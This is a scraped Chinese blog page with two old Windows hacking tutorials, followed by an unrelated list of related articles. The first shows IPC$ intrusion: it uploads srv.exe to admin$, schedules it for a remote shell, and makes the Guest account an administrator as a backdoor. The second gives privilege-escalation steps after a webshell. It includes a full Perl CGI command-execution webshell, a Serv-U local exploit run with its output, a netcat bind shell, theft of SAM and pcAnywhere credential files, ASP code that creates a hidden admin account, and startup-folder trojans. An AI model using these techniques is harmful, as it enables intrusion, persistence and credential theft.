<p>,输入administrators,命令即可成功完成。<br> <br>2. C:/>copy srv.exe <u><font color="#0000ff">//127.0.0.1/admin$</font></u> <br>先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的 </p>
<p>c:/winnt/system32/,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什 </p>
<p>么地方去了)。<br> <br>3. C:/>net time <u><font color="#0000ff">//127.0.0.1</font></u> <br>查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。<br> <br>4. C:/>at <u><font color="#0000ff">//127.0.0.1</font></u> 11:05 srv.exe <br>用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵 </p>
<p>!) <br> <br>5. C:/>net time <u><font color="#0000ff">//127.0.0.1</font></u><br>再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备 </p>
<p>开始下面的命令。<br> <br>6. C:/>telnet 127.0.0.1 99 <br>这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的 </p>
<p>是SRV在对方计算机中为我们建立一个99端口的Shell。<br>虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打 </p>
<p>算建立一个Telnet服务!这就要用到ntlm了<br> <br>7.C:/>copy ntlm.exe <u><font color="#0000ff">//127.0.0.1/admin$</font></u><br>用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。<br> <br>8. C:/WINNT/system32>ntlm <br>输入ntlm启动(这里的C:/WINNT/system32>指的是对方计算机,运行ntlm其实是让这 </p>
<p>个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使 </p>
<p>用"net start telnet"来开启Telnet服务! </p>
<p>9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作 </p>
<p>一样简单!(然后你想做什么?想做什么就做什么吧,哈哈) </p>
<p>为了以防万一,我们再把guest激活加到管理组 <br>10. C:/>net user guest /active:yes <br>将对方的Guest用户激活 </p>
<p>11. C:/>net user guest 1234 <br>将Guest的密码改为1234,或者你要设定的密码 </p>
<p>12. C:/>net localgroup administrators guest /add <br>将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我 </p>
<p>们可以用guest再次访问这台计算机)</p>
</div>
</div>
<table border="0">
<tbody>
</tbody>
</table>
<div class="footerLinks">
17:18 |
<font color="#ffffff">添加评论</font> |
<font color="#ffffff">固定链接</font> |
<font color="#ffffff">引用通告 (0)</font> |
<font color="#ffffff">写入日志</font> |
<font color="#ffffff">收藏</font>
</div>
<div class="footer">
<font color="#ffffff"></font>
</div>
</div>
<div class="fixedTable bvEntry" id="entrycns!D4A2E8F4A02D8CC6!107">
<h4 class="TextColor1" id="subjcns!D4A2E8F4A02D8CC6!107" style="MARGIN-BOTTOM: 0px">提升权限终极技巧</h4>
<div id="msgcns!D4A2E8F4A02D8CC6!107">
<div>
<font size="2">当我们取得一个webshell时候,下一部要做的就是提升权限<br><br>个人总结如下:<br>1: C:/Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/<br>看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密码,登陆<br>ps: 破解工具本站已提供。请自己Search一下!<br><br>2.C:/WINNT/system32/config/<br>进这里下它的SAM,破解用户的密码<br>用到破解sam密码的软件有LC,SAMinside<br><br>3.C:/Documents and Settings/All Users/「开始」菜单/程序/<br>看这里能跳转不,我们从这里可以获取好多有用的信息<br>可以看见好多快捷方式,我们一般选择Serv-U的,然后本地查看属性,知道路径后,看能否跳转<br>进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空<br>[USER=WekweN|1]<br>Password=<br>HomeDir=c:/<br>TimeOut=600<br>Maintenance=System<br>Access1=C:/|RWAMELCDP<br>Access1=d:/|RWAMELCDP<br>Access1=f:/|RWAMELCDP<br>SKEYValues=<br>这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限<br><br><br>4.c:/winnt/system32/inetsrv/data/<br>就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,然后执行<br><br>5.看能否跳转到如下目录<br>c:/php, 用phpspy<br>c:/prel,有时候不一定是这个目录(同样可以通过下载快捷方式看属性获知)用cgi的webshell<br>#!/usr/bin/perl<br>binmode(STDOUT);<br>syswrite(STDOUT, "Content-type: text/html/r/n/r/n", 27);<br>$_ = $ENV{QUERY_STRING};<br>s/%20/ /ig;<br>s/%2f////ig;<br>$execthis = $_;<br>syswrite(STDOUT, "<HTML><PRE>/r/n", 13);<br>open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";<br>system($execthis);<br>syswrite(STDOUT, "/r/n</PRE></HTML>/r/n", 17);<br>close(STDERR);<br>close(STDOUT);<br>exit;<br>保存为cgi执行,<br>如果不行,可以试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 </font>
<font color="#0000ff" size="2"><u>http://anyhost//cmd.pl?dir</u></font>
<font size="2"> <br>显示"拒绝访问",表示可以执行了!马上提交:先的上传个su.exe(ser-u提升权限的工具)到 prel的bin目录<br></font>
<font color="#0000ff" size="2"><u>http://anyhost//cmd.pl?c</u></font>
<font size="2">/perl/bin/su.exe <br>返回: <br>Serv-u >3.x Local Exploit by xiaolu <br><br>USAGE: serv-u.exe "command" <br><br>Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" <br>现在是 IUSR 权限,提交: <br></font>
<font color="#0000ff" size="2"><u>http://anyhost//cmd.pl?c</u></font>
<font size="2">/perl/bin/su.exe "cacls.exe c: /E /T /G everyone:F" <br></font>
<font color="#0000ff" size="2"><u>http://anyhost//cmd.pl?c</u></font>
<font size="2">/perl/bin/su.exe "cacls.exe d: /E /T /G everyone:F" <br></font>
<font color="#0000ff" size="2"><u>http://anyhost//cmd.pl?c</u></font>
<font size="2">/perl/bin/su.exe "cacls.exe e: /E /T /G everyone:F" <br></font>
<font color="#0000ff" size="2"><u>http://anyhost//cmd.pl?c</u></font>
<font size="2">/perl/bin/su.exe "cacls.exe f: /E /T /G everyone:F" <br>如果返回下面的信息,就表示成功了<br>Serv-u >3.x Local Exploit by xiaolu <br><br><220 Serv-U FTP Server v5.2 for WinSock ready... <br><br>>USER LocalAdministrator <br><br><331 User name okay, need password. <br><br>****************************************************** <br><br>>PASS #l@$ak#.lk;0@P <br><br><230 User logged in, proceed. <br><br>****************************************************** <br><br>>SITE MAINTENANCE <br><br>****************************************************** <br><br>[+] Creating New Domain... <br><br><200-DomainID=2 <br><br><220 Domain settings saved <br><br>****************************************************** <br><br>[+] Domain xl:2 created <br><br>[+] Creating Evil User <br><br><200-User=xl <br><br>200 User settings saved <br><br>****************************************************** <br><br>[+] Now Exploiting... <br><br>>USER xl <br><br><331 User name okay, need password. <br><br>****************************************************** <br><br>>PASS 111111 <br><br><230 User logged in, proceed. <br><br>****************************************************** <br><br>[+] Now Executing: cacls.exe c: /E /T /G everyone:F <br><br><220 Domain deleted<br>这样所有分区为everyone完全控制<br>现在我们把自己的用户提升为管理员: <br><br></font>
<font color="#0000ff" size="2"><u>http://anyhost//cmd.pl?c</u></font>
<font size="2">/perl/bin/su.exe " net localgroup administrators IUSR_anyhost /add" <br><br><br>6.可以成功运行"cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps"来提升权限<br>用这个cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps<br>查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll<br>再将asp.dll加入特权一族<br>asp.dll是放在c:/winnt/system32/inetsrv/asp.dll (不同的机子放的位置不一定一样)<br>我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll" "C:/WINNT/system32/inetsrv/httpext.dll" "C:/WINNT/system32/inetsrv/httpodbc.dll" "C:/WINNT/system32/inetsrv/ssinc.dll" "C:/WINNT/system32/msw3prt.dll""c:/winnt/system32/inetsrv/asp.dll"<br>可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了<br><br>7.还可以用这段代码试提升,好象效果不明显<br><%@codepage=936%><%Response.Expires=0 <br>on error resume next <br>Session.TimeOut=50 <br>Server.ScriptTimeout=3000 <br>set lp=Server.createObject("WSCRIPT.NETWORK") <br>oz="WinNT://"&lp.ComputerName <br>Set ob=GetObject(oz) <br>Set oe=GetObject(oz&"/Administrators,group") <br>Set od=ob.create("user","WekweN$") <br>od.SetPassword "WekweN" <-----密码<br>od.SetInfo <br>Set of=GetObject(oz&"/WekweN$,user") <br>oe.Add(of.ADsPath) <br>Response.write "WekweN$ 超级帐号建立成功!"%><br><br><br>用这段代码检查是否提升成功<br><%@codepage=936%><br><%Response.Expires=0<br>on error resume next '查找Administrators组帐号<br>Set tN=server.createObject("Wscript.Network")<br>Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group")<br>For Each admin in objGroup.Members<br>Response.write admin.Name&"<br>"<br>Next<br>if err then<br>Response.write "不行啊:Wscript.Network"<br>end if<br>%><br><br>8.C:/Program Files/Java Web Start/<br>这里如果可以,一般很小,可以尝试用jsp的webshell,听说权限很小,本人没有遇见过。<br><br>9.最后了,如果主机设置很变态,可以试下在c:/Documents and Settings/All Users/「开始」菜单/程序/启动"写入bat,vbs等木马。<br><br>等到主机重启或者你ddos逼它重启,来达到权限提升的目的。<br><br><br>总结起来说就是,找到有执行和写入的目录,管他什么目录,然后上传提升工具,最后执行,三个字"找" "上""执"<br><br>以上是本人的拙见,大家有什么好的方法多多分享</font>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--PC和WAP自适应版-->
<div id="SOHUCS" sid="1276296268578045952"></div>
<script type="text/javascript" src="/views/front/js/chanyan.js"></script>
<!-- 文章页-底部 动态广告位 -->
<div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
</div>
<div class="col-md-3">
<div class="row" id="ad">
<!-- 文章页-右侧1 动态广告位 -->
<div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
<div class="youdao-fixed-ad" id="detail_ad_1"> </div>
</div>
<!-- 文章页-右侧2 动态广告位 -->
<div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
<div class="youdao-fixed-ad" id="detail_ad_2"></div>
</div>
<!-- 文章页-右侧3 动态广告位 -->
<div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
<div class="youdao-fixed-ad" id="detail_ad_3"></div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container">
<h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(计算机必要知识)</h4>
<div id="paradigm-article-related">
<div class="recommend-post mb30">
<ul class="widget-links">
<li><a href="/article/1893721574163410944.htm"
title="【开源】基于SSM框架“大学生艺术节”管理系统(计算机毕业设计)+万字毕业论文+远程部署+ppt+代码讲解 ssm284" target="_blank">【开源】基于SSM框架“大学生艺术节”管理系统(计算机毕业设计)+万字毕业论文+远程部署+ppt+代码讲解 ssm284</a>
<span class="text-muted">计算机毕业设计_gzs</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90/1.htm">开源</a><a class="tag" taget="_blank" href="/search/%E8%AF%BE%E7%A8%8B%E8%AE%BE%E8%AE%A1/1.htm">课程设计</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%E6%AF%95%E8%AE%BE/1.htm">毕设</a><a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%AF%95%E4%B8%9A%E8%AE%BE%E8%AE%A1/1.htm">毕业设计</a>
<div>系统合集跳转源码获取链接点击主页更能获取海量源码博主联系方式拉到下方点击名片获取!!!博主联系方式拉到下方点击名片获取!!!10年计算机开发经验,主营业务:源码获取、项目二开、语音辅导、远程调试、毕业设计、课程设计、毕业论文、BUG修改一、系统环境运行环境:最好是javajdk1.8,我们在这个平台上运行的。其他版本理论上也可以。IDE环境:Eclipse,Myeclipse,IDEA或者Spri</div>
</li>
<li><a href="/article/1893720060044832768.htm"
title="计算机网络应用层之文件传输协议——FTP(这一篇就够了)" target="_blank">计算机网络应用层之文件传输协议——FTP(这一篇就够了)</a>
<span class="text-muted">jesesl</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/1.htm">计算机网络</a><a class="tag" taget="_blank" href="/search/ftp/1.htm">ftp</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a>
<div>目录文件传输协议:FTPFTP传输文件的过程FTP传输文模式FTP配置文件传输协议:FTPHTTP和FTP都是文件传输协议,但FTP使用两个并行的TCP连接来传输文件,一个是控制连接(controlconnection),一个是数据连接(dataconnection)。控制连接用于在两个主机之间传输控制信息,如用户标识、口令、改变远程目录的命令。数据连接用于实际传输一个文件。也称FTP的控制信息是</div>
</li>
<li><a href="/article/1893718295517917184.htm"
title="GPU与FPGA加速:硬件赋能AI应用" target="_blank">GPU与FPGA加速:硬件赋能AI应用</a>
<span class="text-muted">AI天才研究院</span>
<a class="tag" taget="_blank" href="/search/DeepSeek/1.htm">DeepSeek</a><a class="tag" taget="_blank" href="/search/R1/1.htm">R1</a><a class="tag" taget="_blank" href="/search/%26amp%3B/1.htm">&</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AEAI%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">大数据AI人工智能大模型</a><a class="tag" taget="_blank" href="/search/AI%E5%A4%A7%E6%A8%A1%E5%9E%8B%E4%BC%81%E4%B8%9A%E7%BA%A7%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91%E5%AE%9E%E6%88%98/1.htm">AI大模型企业级应用开发实战</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E7%A7%91%E5%AD%A6/1.htm">计算科学</a><a class="tag" taget="_blank" href="/search/%E7%A5%9E%E7%BB%8F%E8%AE%A1%E7%AE%97/1.htm">神经计算</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/1.htm">神经网络</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E5%9E%8B%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B/1.htm">大型语言模型</a><a class="tag" taget="_blank" href="/search/AI/1.htm">AI</a><a class="tag" taget="_blank" href="/search/AGI/1.htm">AGI</a><a class="tag" taget="_blank" href="/search/LLM/1.htm">LLM</a><a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a><a class="tag" taget="_blank" href="/search/Python/1.htm">Python</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84%E8%AE%BE%E8%AE%A1/1.htm">架构设计</a><a class="tag" taget="_blank" href="/search/Agent/1.htm">Agent</a><a class="tag" taget="_blank" href="/search/RPA/1.htm">RPA</a>
<div>GPU与FPGA加速:硬件赋能AI应用1.背景介绍1.1人工智能的兴起人工智能(AI)在过去几年中经历了爆炸式增长,成为推动科技创新的核心动力。从语音识别和计算机视觉,到自然语言处理和推荐系统,AI已广泛应用于各个领域。然而,训练和部署AI模型需要大量计算资源,这对传统的CPU架构提出了巨大挑战。1.2硬件加速的必要性为满足AI算法对计算能力的巨大需求,硬件加速技术应运而生。专用硬件如GPU(图形</div>
</li>
<li><a href="/article/1893713506079928320.htm"
title="(14)FPGA与GPU区别" target="_blank">(14)FPGA与GPU区别</a>
<span class="text-muted">宁静致远dream</span>
<a class="tag" taget="_blank" href="/search/FPGA%E5%85%A5%E9%97%A8%E4%B8%8E%E6%8F%90%E5%8D%87%EF%BC%88%E5%9F%B9%E8%AE%AD%E8%AF%BE%E7%A8%8B%EF%BC%89/1.htm">FPGA入门与提升(培训课程)</a><a class="tag" taget="_blank" href="/search/fpga%E5%BC%80%E5%8F%91/1.htm">fpga开发</a>
<div>(14)FPGA与GPU区别1文章目录1)文章目录2)FPGA入门与提升课程介绍3)FPGA简介4)FPGA与GPU区别5)技术交流6)参考资料2FPGA入门与提升课程介绍1)FPGA入门与提升文章目的是为了让想学FPGA的小伙伴快速入门以及能力提升;2)FPGA基础知识;3)VerilogHDL基本语法;4)FPGA入门实例;5)FPGA设计输入,包括代码输入、原语输入;6)FPGA设计技巧;7</div>
</li>
<li><a href="/article/1893712874791038976.htm"
title="DNS (Domain Name System) - 域名系统" target="_blank">DNS (Domain Name System) - 域名系统</a>
<span class="text-muted">dlz0836</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/tcp%2Fip/1.htm">tcp/ip</a>
<div>DNS(域名系统)是互联网中的一个关键系统,负责将人类易于记忆的域名(如www.example.com)转换为计算机能理解的IP地址(如192.168.1.1)。DNS使得我们不需要记住一长串数字的IP地址,而只需使用简洁的域名即可访问网站或网络服务。一、DNS基本概念1.域名(DomainName)域名是互联网中标识一个特定计算机或网络服务的名称,分为多个级别。最常见的顶级域名(TLD)包括.c</div>
</li>
<li><a href="/article/1893705943082921984.htm"
title="红队-网络基础(上-超文本协议与内外网划分)" target="_blank">红队-网络基础(上-超文本协议与内外网划分)</a>
<span class="text-muted">在校大two学生</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
<div>声明通过学习泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频,做出的文章如涉及侵权马上删除文章笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负一.http协议简介HTTP协议是HypertextTransferProtocol(也称为超文本传输协议)的缩写,是用于从万维网(www:worldwideweb)服务器传输超文本到本地浏览器</div>
</li>
<li><a href="/article/1893697871908237312.htm"
title="手撸 chatgpt 大模型:单词向量化编码和绝对位置编码算法" target="_blank">手撸 chatgpt 大模型:单词向量化编码和绝对位置编码算法</a>
<span class="text-muted">coding 迪斯尼</span>
<a class="tag" taget="_blank" href="/search/chatgpt/1.htm">chatgpt</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B/1.htm">大语言模型</a>
<div>在上一节中,我们将每个单词转换为一个表示数字的标记(token)。现在,我们需要将这个数字映射到一个向量上,这个向量称为嵌入(embedding)。在深度学习中,所有无法通过传统数据结构描述的对象都会被用一个向量表示,例如图像、语音、单词、音频等。最初,向量中的各个字段会被初始化为随机数,然后通过大量的数据和深度学习模型来训练这些向量。训练过程逐步改变向量字段的值,从而使这些字段包含某种“知识”。</div>
</li>
<li><a href="/article/1893692452259295232.htm"
title="Unity VRoid+Blender+Unity 3D人物模型导入使用" target="_blank">Unity VRoid+Blender+Unity 3D人物模型导入使用</a>
<span class="text-muted">lovingyk</span>
<a class="tag" taget="_blank" href="/search/unity/1.htm">unity</a><a class="tag" taget="_blank" href="/search/unity/1.htm">unity</a>
<div>UnityVRoid模型导出VRM后,经Blender导出FBX格式,再放入Unity中调整的全过程实操实在没有最新的解决方案,只能参考老视频教程VRoid(.vrm)导入Blender导入Unity和动画详解全流程_哔哩哔哩_bilibili诸多尝试后,整理出必要的软件版本搭配如下:VRoid:由于导出的VRM模型并没有多大出入,版本任意,我使用的是VRoidStudio1.26.0版本;Ble</div>
</li>
<li><a href="/article/1893692073840799744.htm"
title="大模型应用开发:核心技术与领域实践" target="_blank">大模型应用开发:核心技术与领域实践</a>
<span class="text-muted">每天五分钟玩转人工智能</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
<div>一本书籍的价值在人工智能领域,大模型技术以其强大的语言理解和生成能力,正在深刻改变着众多行业的应用方式。然而,面对这些复杂且前沿的技术实现与实际落地挑战,许多开发者和从业者往往感到无从下手。为了解答这些疑问,提供系统的技术知识和实战经验,《大模型应用开发:核心技术与领域实践》应运而生。这本书由科大讯飞AI团队与中国科大的资深专家联合撰写,旨在打通大模型的技术原理与应用实践之间的壁垒,为相关领域的从</div>
</li>
<li><a href="/article/1893687033688289280.htm"
title="为AI聊天工具添加一个知识系统 之114 详细设计之55 知识表征" target="_blank">为AI聊天工具添加一个知识系统 之114 详细设计之55 知识表征</a>
<span class="text-muted">一水鉴天</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
<div>本文要点要点项目名称:为使用AI聊天工具的聊天者添加一个知识系统项目背景:在现在各种AI聊天工具层出不穷的今天,我觉得特别需要一个通用的AI聊天工具的图形界面能够为每个聊天者(或一个利益相关者组织)建立自己的知识树,并以认知地图为基础,建立从当前节点导航到其它各个知知识树节点的技术能力分析作为连接或运用成熟的计算机技术(后期会包括其他技术)的指导和辅助,以优化路径为目标,这样一个软件系统。首先,在</div>
</li>
<li><a href="/article/1893686907490070528.htm"
title="为AI聊天工具添加一个知识系统 之104 详细设计之45 祖产代码 之3 量子态治理" target="_blank">为AI聊天工具添加一个知识系统 之104 详细设计之45 祖产代码 之3 量子态治理</a>
<span class="text-muted">一水鉴天</span>
<a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E6%99%BA%E8%83%BD/1.htm">软件智能</a><a class="tag" taget="_blank" href="/search/%E6%99%BA%E8%83%BD%E5%88%B6%E9%80%A0/1.htm">智能制造</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E8%AF%AD%E8%A8%80/1.htm">人工语言</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a>
<div>本文要点要点祖传代码一、对“槽”的‘功能’理解(分析家)1、三种hoc槽的描述--元符号(用圆圈圈起来的®@©。“元符号”代表内建Type代理的模式和级别-内嵌内核图层(三级级联的套打页racket):消费者-生产者物理加工代理Broker模式,发布-订阅心理建设代理Agent模式,感知-行动生理构造Delegate代理模式)三种hoc槽:pro此前误会,ad此在偏差和post此后谬误(图grap</div>
</li>
<li><a href="/article/1893684637788598272.htm"
title="《微软量子芯片:开启量子计算新纪元》:此文为AI自动生成" target="_blank">《微软量子芯片:开启量子计算新纪元》:此文为AI自动生成</a>
<span class="text-muted">空云风语</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E9%87%8F%E5%AD%90%E8%AE%A1%E7%AE%97/1.htm">量子计算</a>
<div>量子计算的神秘面纱在科技飞速发展的今天,量子计算作为前沿领域,正逐渐走进大众的视野。它宛如一把神秘的钥匙,有望开启未来科技变革的大门,而微软量子芯片则是这把钥匙上一颗璀璨的明珠。量子计算,简单来说,是一种遵循量子力学规律调控量子信息单元进行计算的新型计算模式。与我们日常生活中接触的传统计算机相比,它有着本质的区别。传统计算机基于二进制数字系统,使用二进制比特(Bit)来表示数据和进行计算,比特的状</div>
</li>
<li><a href="/article/1893683252523233280.htm"
title="WPF实现打印机控制及打印" target="_blank">WPF实现打印机控制及打印</a>
<span class="text-muted">code_shenbing</span>
<a class="tag" taget="_blank" href="/search/C%23/1.htm">C#</a><a class="tag" taget="_blank" href="/search/wpf/1.htm">wpf</a>
<div>在WPF中实现打印机控制和打印功能,通常需要使用System.Printing命名空间中的类来管理打印机和打印任务。以下是一个简单的示例,展示如何在WPF应用程序中实现打印功能。1.添加必要的引用首先,确保在项目中引用了System.Printing命名空间。你可以在项目的引用中添加System.Printing。2.创建打印对话框WPF提供了PrintDialog类,用于显示打印对话框并获取用户</div>
</li>
<li><a href="/article/1893672917187751936.htm"
title="PHP MySQL Order By 关键词" target="_blank">PHP MySQL Order By 关键词</a>
<span class="text-muted">宇哥资料</span>
<a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
<div>ORDERBY关键词用于对记录集中的数据进行排序。ORDERBY关键词ORDERBY关键词用于对记录集中的数据进行排序。ORDERBY关键词默认对记录进行升序排序。如果你想降序排序,请使用DESC关键字。语法SELECTcolumn_name(s)FROMtable_nameORDERBYcolumn_name(s)ASC|DESC如需学习更多关于SQL的知识,请访问我们的SQL教程。实例下面的实</div>
</li>
<li><a href="/article/1893672917816897536.htm"
title="php mysql删除" target="_blank">php mysql删除</a>
<span class="text-muted">宇哥资料</span>
<a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
<div>删除语句用于从数据库表中删除行。删除数据库中的数据删除语句用于从数据库表中删除记录。语法从table_name删除其中some_column=some_value注释:请注意删除语法中的wherewherewherewhere子句,所有的记录都会被删除!SQL的知识,请访问我们的sql教程。为了让php执行上面的语句,我们必须使用mysqli_query()函数。该函数用于向mysql连接发送查询</div>
</li>
<li><a href="/article/1893666989088501760.htm"
title="运筹说 第130期 | 对策论引言" target="_blank">运筹说 第130期 | 对策论引言</a>
<span class="text-muted">运筹说</span>
<a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%AD%B9%E5%AD%A6/1.htm">运筹学</a>
<div>通过对对策论基础知识进行梳理和总结,小编绘制了《对策论思维导图》,如下图所示,对策论章节一共包含4个小节。第1小节是对策论引言。介绍了对策论的基本概念,包含对策行为和对策论、对策现象的三要素、对策问题举例及对策的分类。第2小节是矩阵对策的基本理论。介绍了矩阵对策的纯策略、矩阵对策的混合策略和矩阵对策的基本定理。第3小节是矩阵对策的解法。分别介绍了图解法、方程组法和线性规划法3种矩阵对策的求解方法。</div>
</li>
<li><a href="/article/1893662448938971136.htm"
title="Redis数据库面试——数据结构类型知识" target="_blank">Redis数据库面试——数据结构类型知识</a>
<span class="text-muted">Good Note</span>
<a class="tag" taget="_blank" href="/search/%E8%A1%A5%E6%A1%A3/1.htm">补档</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E7%AB%AF/1.htm">服务端</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/%E7%BC%93%E5%AD%98/1.htm">缓存</a>
<div>大家好,这里是GoodNote,关注公主号:Goodnote,专栏文章私信限时Free。本文详细介绍Redis提供的5种基本数据结构类型和4种特殊类型,除此之外,还有8种底层数据结构,每种结构类型有其特点和适用场景。文章目录基本数据类型1.String(字符串)使用场景缓存计数器ID生成器分布式锁2.Hash(哈希)3.List(链表/列表)4.Set(集合)5.SortedSet(有序集合)特殊</div>
</li>
<li><a href="/article/1893662450700578816.htm"
title="【Hive】学习路线:架构、运维、Hsql实战、源码分析" target="_blank">【Hive】学习路线:架构、运维、Hsql实战、源码分析</a>
<span class="text-muted">roman_日积跬步-终至千里</span>
<a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/hive/1.htm">hive</a><a class="tag" taget="_blank" href="/search/hive/1.htm">hive</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a>
<div>文章目录一.Hive基础学习1.基础知识2.安装与配置3.数据存储与表结构二.hive运维三.Hive实战1.HiveSQL基础2.高级查询与数据分析3.数据存储优化4.性能调优四.Hive源码分析一.Hive基础学习1.基础知识hive简介架构说明【hive-design】hive架构详解:描述了hive架构,hive主要组件的作用、hsql在hive执行过程中的底层细节、hive各组件作用2.</div>
</li>
<li><a href="/article/1893657032288956416.htm"
title="riscv运行linux,首款基于RISC-V,支持Linux的PC——HiFive Unleashed已诞生!" target="_blank">riscv运行linux,首款基于RISC-V,支持Linux的PC——HiFive Unleashed已诞生!</a>
<span class="text-muted">扎伊德</span>
<a class="tag" taget="_blank" href="/search/riscv%E8%BF%90%E8%A1%8Clinux/1.htm">riscv运行linux</a>
